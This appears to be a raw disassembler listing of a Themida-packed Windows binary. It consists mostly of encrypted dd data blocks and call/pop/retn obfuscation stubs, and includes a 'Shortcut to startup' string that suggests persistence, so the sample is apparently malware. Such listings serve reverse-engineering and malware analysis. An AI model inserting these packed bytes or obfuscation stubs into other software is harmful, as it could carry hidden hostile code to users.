4477B11h, 4AEBBE66h, 259D2950h, 8F060B21h dd 0EE903h, 6C180000h, 5B180E15h, 0A49B4E31h, 0F058ACF4h dd 4694EB81h, 8B665A48h, 90C381D6h, 815A4846h, 0F6D380EEh dd 850F497Dh, 0FFFFFF8Fh, 0AE28166h, 598D8D3Fh, 6A061036h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0E8ADC357h, 9, 17184A0Ah, 497BC23h, 49958932h dd 5F060B01h, 174D8D89h, 8B66060Bh, 1985C7FAh, 4C060B01h dd 6A000059h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 91F7C351h, 0DC83E48Fh, 38A0FCAh dd 66000000h, 85C7C78Bh, 60B1009h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_58F6BB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F6BB proc near ; CODE XREF: Themida_:0058F6B3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58F6BB endp ; --------------------------------------------------------------------------- mov [eax+19C9B5FFh], ecx or eax, [esi] call dword ptr [ebp+60B0AC5h] push 0 push edx call sub_58F6E4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F6E4 proc near ; CODE XREF: Themida_:0058F6DCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_58F6E4 endp ; --------------------------------------------------------------------------- push cs xchg eax, esi push 0 call dword ptr [ebp+60B32DDh] mov eax, eax jmp short loc_58F76F ; --------------------------------------------------------------------------- dw 876h dd 0EC96A46Dh, 26BFDEE5h, 0D883D89h, 15C9267Fh, 0DC6535F9h dd 14D11384h, 0B5E88862h, 2BD531D0h, 0A49A1749h, 5E96F615h dd 9AB44394h, 7684D123h, 0A21901D1h, 42F14D03h, 0E9EE9D90h dd 0AFB2EA12h, 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 614F6371h dd 0DF3999C4h, 32187F1Fh, 29A65137h, 0C3E1D250h, 112EDB20h dd 6817D796h db 0DBh, 16h, 0DBh ; --------------------------------------------------------------------------- loc_58F76F: ; CODE XREF: Themida_:0058F700j lea ecx, [ebp+610377Ch] push 0 push ebx call sub_58F780 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F780 proc near ; CODE XREF: Themida_:0058F778p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_58F780 endp ; --------------------------------------------------------------------------- mov edi, 68685E42h retn 68EFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- add bh, 5Bh mov [ebp+60B174Dh], ecx mov dword ptr [ebp+60B0119h], 70E0h push 0 push esi call sub_58F7B7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F7B7 proc near ; CODE XREF: Themida_:0058F7AFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_58F7B7 endp ; --------------------------------------------------------------------------- db 10h dd 12F24723h, 8B5FDE05h, 0B012D9Dh, 985C706h, 60B10h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E9E3C356h, 6, 1E94EB05h, 0B5FFD313h, 60B0105h dd 95FF49B6h, 60B0AC5h, 4F28166h, 0FF006A77h, 0B32DD95h dd 0EBC08B06h, 0FDAF4C2Ch, 0CE722809h, 0EBA5CC5h, 2D6DF3F7h dd 5D3C0A1Eh, 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh, 7F08288Fh dd 994CC8Bh, 6C6D0051h, 30582018h, 3031C857h, 6E121001h dd 44BB56C2h, 74B30025h, 30290625h, 66740101h, 4DE1E2C2h dd 3981BAB2h, 0E8B94637h, 0BC54E18Ah, 18F01D9h, 98340F17h dd 9DB60D05h, 0B9320100h, 3B3C959Ch, 18FC307h, 30342B0Fh dd 3043940Eh, 30580801h, 3031EC57h, 6E120201h, 44BB5FC2h dd 74B38425h, 30294425h, 66742001h, 978591C2h, 369DC772h dd 47E0852Ch, 3F308DBEh, 30320083h, 55DB7901h, 5A324000h dd 33DA7101h, 10321001h, 0B96BCB58h, 0B136204Dh, 2D362645h dd 71320101h, 0CF564350h, 97655485h, 0CC3DF0D2h, 303217E9h dd 652E1E01h, 0A3673426h, 30368B0Eh, 8E540101h, 0A06C5E84h dd 30324EE9h, 99332101h, 0CCC0B1FBh, 1014BCBEh, 0D89936E5h dd 3032020Ah, 0B1F7448Ah, 1AD658D6h, 0D82C38EFh, 30322006h dd 10F26428h, 6F5BB0FFh, 0A0625F5Bh, 2863BF88h, 313D070Ah dd 5ACCA44Dh, 33DA1101h, 10322001h, 0B96BD358h, 0B1362C4Dh dd 2C362045h, 71320201h, 1736C250h, 0F9CE84C8h, 824B5A92h dd 0F0B17802h, 38B9E52Dh, 78B96EFDh, 0E7B962FDh, 60B8367h dd 0AAB60EFEh, 0D9328001h, 3032400Ch, 1E283649h, 0BB56E9E3h dd 8A8940B2h, 0B3C08F92h, 30580BC0h, 3031E950h, 69128001h dd 7CBB19C2h, 74B32425h, 302A1425h, 61730801h, 0B3559BC2h dd 35DBE430h, 9B320101h, 3DCDA349h, 9B2988Ah, 6DB72FE8h dd 1B321001h, 3B24ADB4h, 31738F07h, 0E1C18367h, 0B3FA028Ah dd 305885C0h, 3031A854h, 6D122001h, 5CBB4DC2h, 74B30C25h dd 302A0025h, 65770201h, 71AF54C2h, 8D396FD7h, 36394318h dd 359FBD28h, 9B3160Ah, 0BB714391h, 3020810Eh, 873D0201h dd 0E7BF8CFEh, 88348B4Ch, 30324002h, 0D1CDA9B7h, 718F9B60h dd 0BD340306h, 2005A9BCh, 87BF8F07h, 88341138h, 31A00375h dd 3593C532h, 0FF19260Ah, 305820C0h, 3031C857h, 6E121001h dd 44BB56C2h, 74B30025h, 30290625h, 83740101h, 0A4F305E9h dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0E9E589C3h, 0B0D2991Fh, 0EE8h, 6A8AE700h dd 9047214Bh, 1F8F5A8h, 60078042h, 2F359D8Bh, 8166060Bh dd 61C4A2C7h, 8DC38B5Ah, 103B188Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 781AB004h dd 0A2E360EAh, 9D09B975h, 60B1949h, 174D8D89h, 6A060Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0DA3AAEC3h, 858BF5C0h, 60B1771h, 11985C7h, 5A80060Bh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0E11C62C3h, 81EBC065h, 0B58902BDh, 60B0721h dd 100985C7h, 60Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0F171BCC3h, 0B3B5DD5Eh dd 0F85AFEB2h, 1F8DB5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8B9ED2C3h, 0B02B9B5h dd 0C595FF06h, 29060B0Ah, 0B1A098Dh, 0FF006A06h, 0B32DD95h dd 0EBC08B06h, 64287B3Ah, 6EA445C8h, 0D56F3C9Ch, 974E75F9h dd 0CE10A656h, 5302C33Bh, 11E924Ch, 0CB42BA28h, 0EF90E48Eh dd 53CF4716h, 0CCBAAAEBh, 0D197BF95h, 921481B0h, 4AB1CC16h dd 8D855F1Dh, 103C208Dh, 89D5B406h, 0B174D8Dh, 0C5850106h dd 0C7060B1Bh, 0B011985h, 73A006h, 198D2900h, 0C7060B24h dd 0B100985h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 1B04EE7Eh, 89584FE4h dd 0B0E699Dh, 0EE906h, 7E230000h, 6140DD8Bh, 0A1464217h dd 8153ED86h, 2705B5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0EE3F34C3h, 8936A33Bh dd 0B31959Dh, 0C595FF06h, 6A060B0Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C034C353h dd 8B1328E0h, 0B12AD95h, 0FF006A06h, 0B32DD95h, 0EBC08B06h dd 0F9C4416Bh, 0BA397A66h, 0AE8A9379h, 29AF5801h, 0DCC28FDFh dd 0F281C1Bh, 57830D44h, 38CECF0Ch, 67E4B3E7h, 0B215088Eh dd 1AA6B020h, 0EBEE2F9Eh, 0C3966507h, 13C8526Fh, 0EF2F45D5h dd 0CDEE79FFh, 0ABD4755Fh, 667826FCh, 0EEC0C2CBh, 4898E336h dd 5D64DB66h, 30BA06E2h, 0B7FFCD0Eh, 0D8B94945h, 25BB99E6h dd 0F0E90CB9h, 3775A810h, 12E8h, 72117200h, 9554E1DDh dd 9BFB40F7h, 0FB683753h, 56F74023h, 5ACE8B66h, 259D295Fh dd 81060B0Bh, 61B1C7h, 0CE86000h, 86000000h, 2148896Bh dd 0B02CB26h, 89E52C90h, 0B018995h, 0BD8B5A06h, 60B0509h dd 0B861h, 8B660000h, 3834FFD0h, 81CA8B5Eh, 0CE02F9EEh dd 812BB610h, 2934B0EEh, 0D081604Ah, 600BEF01h, 79F68161h dd 8B2C1D30h, 0B0BF18Dh, 7348906h, 7B6A75B9h, 9E825h, 57500000h dd 0AB9B7353h, 0E9A5EF35h, 0Eh, 0E156C18h, 4E315B18h, 0ACF4A49Bh dd 815BF058h, 0E8F0E7E8h, 499D010Ch, 81060B2Bh, 0E8F0E3C0h dd 12E90Ch, 8D7E0000h, 7D2FC3D6h, 2EADCB77h, 66D37DB3h dd 0BA4332ACh, 9F54F881h, 850FFFFFh, 1Eh, 4398D8Bh, 2BE9060Bh dd 0E5000000h, 0A14268E8h, 0B942106Ah, 851FC5E3h, 0C4AC008Ah dd 8D8BBEFAh, 60B3389h, 0FFFF50E9h, 0CD346DFFh, 50B7243Dh dd 9AE082D0h, 0ABBB2887h, 0EB66A4E5h, 39BF89A5h, 941D3225h dd 963E1DCFh, 2DD53193h, 0A866412Eh, 209EE593h, 32AF3428h dd 0EB66677Eh, 2BF23796h, 1EFEBD2Eh, 0A6BB3F04h, 266D2EB3h dd 70BCCB28h, 0FA0AB776h, 2BDD3F07h, 78BD235Ah, 2BF23796h dd 1EFEBD2Eh, 0A6BB3F04h, 266E3DB3h, 70BCCB28h, 7CB75E76h dd 2BDB37C6h, 0E8B2142Eh, 0F8ABD71h, 0F3FB52Ah, 2BBD282Ah dd 0E889732Eh, 34A5D9E9h, 65E69B9Eh, 2BD2DD55h, 4AC342Eh dd 63EC5445h, 22A6B136h, 20BDBDA3h, 411EBF28h, 2887662Eh dd 0BB7342Eh, 0A281F774h, 0AAE9107Ah, 3FF2106Ah, 697B342Eh dd 2828F77Ch, 20F49593h, 0F3E35228h, 3802892Dh, 2F733225h dd 2FA3B021h, 2B9C342Eh, 2B78DC79h, 749D342Eh, 57576BEDh dd 6FEE300Ah, 2BAB300Ah, 7C9C342Eh, 0E16C3AEDh, 6394B5h dd 96F83CA7h, 2DB63A1Fh, 6B5A3B2Eh, 416F342Eh, 285F642Eh dd 0BDB342Eh, 0A2B5F776h, 0AAF2106Ah, 3C7F106Ah, 6BBD342Eh dd 0A17DF77Eh, 0BEE41470h, 2DBC19D3h, 2BD8C7C7h, 2BFCDD2Eh dd 171342Eh, 948CCE01h, 0BA707437h, 36B844Bh, 9575F400h dd 29B7132Eh, 30A2A927h, 0E46D3225h, 0F173B9BDh, 417D3A5Eh dd 2855632Eh, 0BDE342Eh, 0A230F771h, 0AAB31052h, 30DF106Ah dd 6CED342Eh, 5F6CF779h, 7BE86BD5h, 9E347B32h, 2DD527EFh dd 0A6E4E4D1h, 2DBC3247h, 0AFD4F4ABh, 2BED34CAh dd 2BF625C7h, 5A81ED2Eh, 0B7D9D809h, 0F253E71Ch, 3C69FD47h dd 13369BBFh, 0D05A5279h, 2BC0B121h, 0AA90342Eh, 29793056h dd 28C0B021h, 2BB4342Eh, 2B6CDC7Ch, 7197342Eh, 7F526EEDh dd 6F6C300Ah, 2BEF300Ah, 7939342Eh, 0F0790FEDh, 4D466ADCh dd 4BF30CAFh, 2B3DB121h, 2BB1342Eh, 2BEEDC7Fh, 72D6342Eh dd 67F26DEDh, 6F3C300Ah, 2BCB300Ah, 7A2E342Eh, 0C37098EDh dd 2BDB343Eh, 2BD4D419h, 596D986Bh, 0BC329F41h, 8F0F6585h dd 397FB9A5h, 0A2363225h, 2087D1B3h, 29A3B428h, 6A683BC6h dd 41F6342Eh, 2893652Eh, 0BBD342Eh, 0A287F777h, 0AA6B1062h dd 33B3106Ah, 6ADB342Eh, 3F9FF77Fh, 4D08CF5Bh, 4D174895h dd 2BBB4CAFh, 3A5B3B85h, 26F342Eh, 20B6A1B3h, 2916DD28h dd 0AE64342Eh, 2DFD159Fh, 2A7A3490h, 4D6CBF68h, 0C6F7DEAFh dd 5BB5B1A3h, 255F3220h, 1FDB342Eh, 0A2D142D7h, 18079855h dd 92BED956h, 4F046B42h, 0D4F3F5A5h, 16D21DFEh, 0AEB13F27h dd 5A5F3BEEh, 41ED342Ch, 281E662Eh, 0B7B342Eh, 0A2E7F774h dd 0AADA107Ah, 326B106Ah, 69B7342Eh, 4C4CF77Ch, 0B2A83325h dd 1AA3A1A7h, 96F23225h, 2DB63697h, 16B80CAFh, 0AE60362Ch dd 2BB7346Eh, 0C38A3444h, 2BED342Dh, 72356D0Eh, 2F5F78A7h dd 2F9970AFh, 2BDE3436h, 0DCAC656Fh, 0B340C90Bh, 5702B548h dd 0AA3EBF65h, 16903256h, 0AF744E71h, 2BBD3631h, 3BF7A9A5h dd 0AEE63225h, 2DBC1D17h, 0B7E3B548h, 0BA683B4Eh, 41F6342Eh dd 2893632Eh, 0BBD342Eh, 0A281F771h, 0AA6B1052h, 3DB3106Ah dd 6CDB342Eh, 7183F779h, 0B61DB4C3h, 1DE89A5h, 533D3225h dd 0AED1DC2Ch, 2B6F344Eh, 0C3E73444h, 2BDB342Dh, 732E6C0Eh dd 2FD270A7h, 2F5F70AFh, 2BBD343Ah, 0E11D646Eh, 0B6E6C799h dd 2DBC3577h, 2DA3B548h, 0AEE2F42Eh, 2BF6341Eh, 3DEB1A7h dd 0B7543225h, 41DE342Fh, 2887652Eh, 0BB7342Eh, 0A282F777h dd 0AAE91062h, 3EF2106Ah, 6A7B342Eh, 5551F77Fh, 724B357Dh dd 70693F1Fh, 2AB63490h, 6705B450h, 5B37B1A3h, 0AE7F3220h dd 2D702E6Fh, 2BD7E4D1h, 2BDDDC7Fh, 724F342Eh, 673E6DEDh dd 6F5A300Ah, 2BF5300Ah, 7AB7342Eh, 0B0125FEDh, 9CB24037h dd 241EB1D4h, 2B6E2FAAh, 79B75E2Eh, 2BDB37C6h, 0E8B7142Eh dd 0FA2BD74h, 0F3FB52Ah, 2BBD2D2Ah, 0E88C762Eh, 591FA9C4h dd 0C3E6D948h, 2BDB343Ch, 55FAB9D7h, 72E04D39h, 0FABEA15Ch dd 6BA37798h, 4ABE1076h, 13EF6D74h, 51323BC6h, 41DB342Eh dd 2805662Eh, 0BF6342Eh, 0A221F774h, 0AAB9107Ah, 3FDA106Ah dd 696F342Eh, 0AB62F77Ch, 24A83156h, 2BED60ABh, 7AF65E2Eh dd 2B7B37C6h, 0E8E4142Eh, 0F92BD77h, 0F2BB52Ah, 2BB7222Ah dd 0E88A752Eh, 0A1502E21h, 2C8EB4E4h, 8BFF3B7Dh, 41BD342Eh dd 2836622Eh, 0B6F342Eh, 0A2E9F770h, 0AADF105Ah, 37E9106Ah dd 6DF6342Eh, 736AF778h, 0F9CA0A31h, 0A2ADAD80h, 206F2593h dd 13365228h, 0AED431A1h, 2BED347Eh, 43F04CAEh, 2B3DB121h dd 2BD7342Eh, 2BDDDC7Dh, 704F342Eh, 773E6FEDh, 6F5A300Ah dd 2BF9300Ah, 78B5342Eh, 0A774C2EDh, 2BBD3423h, 465B374Eh dd 4D693F07h, 85DBFDAFh, 535A524Fh, 24C8CB25h, 2BF63FABh dd 0F2F6BD2Eh, 0C2BB3F04h, 2BDE3435h, 2B6F3496h, 0AE3E632Eh dd 2DD02D97h, 2BCADD75h, 0BE7D342Eh, 2D702C8Fh, 9376BF48h dd 2BDE342Fh, 2B6F3EC6h, 0A4CDB02Eh, 74893019h, 0A09F5D8Eh dd 20E345B3h, 9C746E28h, 0A4B264FCh, 2BDE342Ch, 2FE6799Fh dd 29303B0Ah, 0A0DB342Eh, 0B550B9D4h, 0A6F02413h, 3B3829A3h dd 7E9E8C28h, 0AEDD4348h, 2D64266Bh, 3490FB05h, 0B4502AB6h dd 0B1A36705h, 32205B37h, 2E6FAE7Fh, 0E4D12D70h, 0DC7F2BD7h dd 5E983DDh, 8B58A4F3h, 0B11398Dh, 8D035206h, 60B18E5h dd 0FC00B5Ah, 6784h, 0E3816600h, 0B58DC3B4h, 60B4DD7h dd 3B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0E9B4F912h, 0Dh, 416102F9h, 7B4BB4B2h dd 0AB3B3636h, 6AE6FF95h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0EC7BC352h, 375C3058h dd 32A2BF66h, 698D8940h, 0F8060B29h, 12E9C08Bh, 17000000h dd 0DCFBA3EEh, 0E680DBC2h, 75F47B71h, 0C4BEADDBh, 0BDBD833Ch dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h dd 403h, 12998589h, 9D8D060Bh, 60DB381h, 585BD3FFh, 29D1BD83h dd 7400060Bh, 0B8535017h, 403h, 12998589h, 9D8D060Bh, 60DB022h dd 585BD3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0EFC35141h, 0C2DBD29h, 8D8B060Bh, 60B056Dh, 0DD8AC08Bh dd 3800Fh, 0BF0F0000h, 0CE861DEh, 0F3000000h, 0D44A1EEDh dd 43BFE176h, 8BA397B1h, 0ACB958CBh, 81144355h, 5A75C0h dd 0FFB70F00h, 166C68h, 0A58D8B00h, 5E060B13h, 68C0Fh dd 0D7810000h, 0C8777C2h, 9D8B30FFh, 60B18BDh, 0B529605Ah dd 60B2EE9h, 0EA8161F8h, 40E53760h, 83C281F5h, 8123C3DAh dd 0E8DB2EE7h, 78EA8161h, 6645A39Ah, 3B1EDB81h, 0DEBF0F52h dd 0E883008Fh, 69BF6601h, 4848481Dh, 2E850F4Eh, 0E8000000h dd 9, 758E8A73h, 0C1B25C3Dh, 19D8B2Eh, 59060B1Ah, 33E9h dd 84F19700h, 7EFFBE16h, 0EB56D24Fh, 0E895B7CFh, 2047F138h dd 0F99D8B7Fh, 0E9060B0Ah, 0FFFFFF80h, 4BBC5773h, 0F5E36963h dd 14EFFE41h, 2E6E86D0h, 7E3EF4EEh, 0D4712ADEh, 0DC4B46D4h dd 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h dd 930E76EFh, 0B44E6033h, 67A5E4FFh, 933566F8h, 80A3BEA0h dd 67203D2Eh, 79A3BA79h, 1B2038D6h, 930126D7h, 1D293333h dd 98263383h, 0DD1EB6C0h, 157635B6h, 886319D6h, 0DD963AFh dd 9E2D3135h, 98266483h, 15235935h, 8863091Fh, 1DAB634Bh dd 9E36768Ch, 81B3CC03h, 932038ACh, 0A1A23C14h, 1526336Ah dd 886309B0h, 0AACE639Ch, 0D826334Dh, 0D8A3BEF6h, 0C8202316h dd 0DD1CB624h, 677635C4h, 93263EFFh, 94E2B033h, 0DD1CB617h dd 1576355Dh, 88631923h, 0DD96355h, 9E2D3148h, 9826513Dh dd 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h dd 97260CD3h, 67D9C62Ch, 13EF002Bh, 0B2CF3B17h, 0AB263335h dd 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h, 9BCF33A9h dd 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh dd 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh, 152637A8h dd 88631B88h, 0C5ABBE9Ch, 2020230Bh, 93h, 71E7FC78h, 0D0073102h dd 4C783C8h, 0F2850F49h, 8DFFFFFFh, 10465DB5h, 7C8D8D06h dd 2B061046h, 5E983CFh, 6E8C88Bh, 0EE000000h, 9888F2D5h dd 69BD89F7h, 5A060B17h, 5B99D89h, 0C281060Bh, 6369h, 1FFD8D89h dd 0A9BB060Bh, 29000018h, 0B03B9BDh, 0B032FF06h, 9D895EABh dd 60B3339h, 566AF681h, 8C0F2BC3h, 5, 73CF8166h, 0D0EE81D8h dd 0E930DAE7h, 0Bh, 0B2D02092h, 4516BD2Dh, 812F8F62h, 29359CC6h dd 9E832h, 35DC0000h, 0F859EC6Ah, 8B12B395h, 0B206D8Dh dd 32895806h, 68C0Fh, 85010000h, 60B1A75h, 9A4CEA81h, 0D4803563h dd 48C28196h, 8B35639Ah, 0B016585h, 850F4B06h, 10h dd 1E9DBD89h, 1DE9060Bh, 1F000000h, 171AE926h, 18D98166h dd 0FF6FE9B7h, 1203FFFFh, 3432EF2Ch, 79C69D38h, 7E3A8A17h dd 482F8D8Dh, 870F0610h, 3, 89D7D780h, 0B174D8Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 9BCEB098h, 22618524h, 27699501h, 85C7060Bh, 60B0119h dd 637Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 68C35343h, 11B8D620h, 45622B78h, 22DB589h, 8B0F060Bh dd 12h, 0DE9h, 4CF16F00h, 0E2F58A48h, 367380EEh, 85C74ADEh dd 60B1009h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_59088F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59088F proc near ; CODE XREF: Themida_:00590887p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_59088F endp ; --------------------------------------------------------------------------- sar dl, 1 xor dl, [ecx+5Bh] pop eax cmp edi, edi mov ch, 31h sbb cl, [ebx] push es call dword ptr [ebp+60B0AC5h] jz loc_5908BE add [ebp+60B0051h], edi loc_5908BE: ; CODE XREF: Themida_:005908B2j jmp loc_5908CC ; --------------------------------------------------------------------------- mov ds:679504D0h, al cdq or bl, ch dec ecx loc_5908CC: ; CODE XREF: Themida_:loc_5908BEj push 0 call dword ptr [ebp+60B32DDh] mov eax, eax jmp short loc_590935 ; --------------------------------------------------------------------------- dd 9CD20DADh, 0CE196560h, 0E8480A62h, 93537775h, 1388F3C4h dd 0E5AA5C95h, 0D0CC078Ch, 4AF0E38Eh, 473C3416h, 17A82285h dd 94C80DF3h, 0D88D2005h, 59B6B75Ah, 0FF170D2h, 8723D017h dd 0CEEAE65Bh, 0DD43CBEDh, 0E6E444C8h, 9C02C26Dh, 2A1BE2B0h dd 950265FBh, 0BECEBD15h, 5C09E9E7h db 0DEh ; --------------------------------------------------------------------------- loc_590935: ; CODE XREF: Themida_:005908D6j jmp short loc_5909A3 ; --------------------------------------------------------------------------- aShortcutToStar db 'Shortcut to startup',0 align 4 dd 13h dup(0) dd 6C000000h, 110DADAh db 3 dup(0) ; --------------------------------------------------------------------------- loc_5909A3: ; CODE XREF: Themida_:loc_590935j jmp loc_591A1B ; --------------------------------------------------------------------------- push 6104AA4h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 6104BBBh jmp loc_5503D9 ; --------------------------------------------------------------------------- push 6104DA3h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 6104DE5h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 6104EE1h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 6104F6Ch jmp loc_5503D9 ; --------------------------------------------------------------------------- push 61053E6h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 61056A1h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 61057ADh jmp loc_5503D9 ; --------------------------------------------------------------------------- dw 95EAh dd 50AB4E39h, 0F6E8976h, 0C92DC8B7h, 87E702CDh, 0A24F400Fh dd 0AF1876F6h, 0EC5B33B4h, 2897EF09h, 68D7AFCDh, 0BD429583h dd 0DA7BADA5h, 7351A0D7h, 9D5D1BE0h, 3C03875h, 826592ECh dd 9AF4756Ch, 344B8870h, 8B4CFE5Ah, 0AEAE1975h, 0E88EDB98h dd 5D86E881h, 759D89D0h, 90BF1BE7h, 7BFCC41Ah, 0D4598A04h dd 3F759D89h, 9D896734h, 8E8C8C75h, 113B93D5h, 0B7914D29h dd 8A8558ACh, 0E44F4D4Fh, 6F928417h, 660DC3Ch, 2F0412C0h dd 0D02E2810h, 23ED1AF6h, 7EFA7Dh, 0EFDB6CF7h, 7FF56F92h dd 57CE358Ch, 3351BC0Dh, 66000000h, 0A19F637Bh, 8A7436B6h dd 5E89E74Fh, 6F9232D1h, 33ED1AE6h, 418A5DCFh, 6B6F9234h dd 68D32695h, 0ACBC0E17h, 4B337A6h, 0B8473E90h, 0B24Fh dd 9B516800h, 51D3F708h, 2CF162EFh, 4B759D81h, 9EC1BF7h dd 0EE719BF3h, 411A308Eh, 26B9532Bh, 0F601CEC8h, 759D7D70h dd 0E7502E4Ch, 0C112EE0Ch, 759D7C3Ch, 0E10BE75Bh, 8BE54D91h dd 8A91C458h, 0FE49B14Fh, 0AA24459Eh, 69D1159Dh, 7F69240Fh dd 0EA564984h, 5B334B8Ch, 95F109ECh, 59F5105Fh, 8845E7E4h dd 0E08h, 14E3DB10h, 4F3896D1h, 8E795594h, 0C8B70F6Bh dd 6F1CD2Dh, 0BC3CE809h, 79F275C2h, 35B7B21Dh, 0F50BEE59h dd 5BC52E99h, 0ADA70388h, 6699107Bh, 0ED5A34B4h, 0D9A6B1EFh dd 0FE759D5Ch, 5CCA5780h, 11E9759Dh, 91EF8AB5h, 7B534A35h dd 43A19F63h, 0FE6C6A80h, 0EA62F502h, 0E74F8A73h, 0C33A3D1Bh dd 4EF921CBh, 33A02982h, 0CACA6F92h, 6996F009h, 7BFC2893h dd 0B56587FFh, 17BC278Ah, 0CD6FBC0Eh, 8000000h, 7E5836B4h dd 0EFFA02E8h, 30DF8126h, 2BA3DB9Ch, 90EE0ACDh, 0C402A567h dd 0F8759E1Ch, 0B8BB0482h, 901DC642h, 0A7759E1Bh, 454DFF5Bh dd 0E97F59A1h, 7CFD66E3h, 3E30E802h, 3EC944B2h, 0FCF9955Eh dd 1CFC4F8Ah, 0C9C52122h, 76F1CF3Eh, 8D6D9FF7h, 691162BBh dd 0CA751690h, 0DA34FEE0h, 84A88909h, 4AA49449h, 0E6116D89h dd 0B10D6DE6h, 6FE8C6C6h, 0E0ADB610h, 0C36984C8h, 5D597842h dd 6FA004Dh, 26D1ADCDh, 91532B43h, 0E459B3E0h, 0F1B89537h dd 0F00000Ch, 0C82B94F2h, 8366D1ADh, 42A5126Ch, 4DFA826h dd 301DEAE4h, 0FBD32BFFh, 3690E90Ch, 724CAE49h, 0B20C6285h dd 0E7702CC5h, 7BADA81Ah, 0B40D7039h, 0AED5A34h, 362D9AF4h dd 6A3236B4h, 0C3489BC7h, 0D0759D69h, 0EB72E668h, 9764CF29h dd 0BC759D86h, 0F14AE05Ch, 7EB4037Bh, 687EE868h, 24135D6Bh dd 49C56E48h, 4C4F8A77h, 44955ECCh, 6E6F9238h, 65CE2396h dd 51BC0E13h, 0D17E5896h, 1164h, 41CE7100h, 0CE000009h dd 5CBA4790h, 61D9759Dh, 9651EFD6h, 6ED27856h, 2D15C9E1h dd 9DF970F3h, 3896D46Fh, 0C5722E12h, 588BE9C7h, 759D5CD3h dd 64EF18E0h, 4F8A73F4h, 0E4C80BD9h, 34EF7D93h, 0BCCB258h dd 0EE719BF3h, 0AB54308Eh, 0FAD4B2C8h, 6587FF79h, 589B8AB5h dd 0D886A422h, 3175A12h, 96A15FB0h, 0B60F20C3h, 8477E9E6h dd 6D45CA00h, 0C06A649Bh, 2237D618h, 48A641CEh, 0C2DA104Eh dd 0E9E5063Bh, 0B2499F43h, 8B854B3Bh, 836010DDh, 0FE79E817h dd 2F280680h, 864AF5D1h, 4E279D2Dh, 2C9F9508h, 18E7DF1Dh dd 0C9279FDDh, 0B0332B03h, 0DE69B416h, 718B4C32h, 0CB1FEA15h dd 0AF084DD6h, 49A7C209h, 967824Dh, 5590538Dh, 0E06FD379h dd 0DF82642Ch, 0B00B219Dh, 4CAC5E38h, 9DA3490h, 0E23AF5D9h dd 88B74C4h, 0A02BB3AEh, 76F64D49h, 520EF218h, 0CCDFE374h dd 61FADC2Fh, 0F32D8905h, 521D4D7Dh, 0E900E4D0h, 70631EDh dd 26DD7ADCh, 52A8AB1Eh, 0FFE7CB74h, 9BE1AEB9h, 0AF61E26h dd 4BE770AEh, 4EF813B5h, 75E94F2h, 856DD414h, 555DEF18h dd 0F94FA991h, 66825100h, 0C81EC268h, 7D8AE2F3h, 85BD41Fh dd 9240F20Dh, 0FB13BB4Ah, 0F02E8AEBh, 329DF977h, 7DDB937h dd 3BD20E5Ch, 93C19B3h, 1700000Bh, 0D013FCDAh, 0AB4E3995h dd 6A8D7A54h, 2CC7B00Eh, 805F2CCh, 0C3BB33E7h, 1E78F174h dd 5A34B6B1h, 9AF40AEDh, 8F58C42Dh, 7BADAA02h, 0B4659811h dd 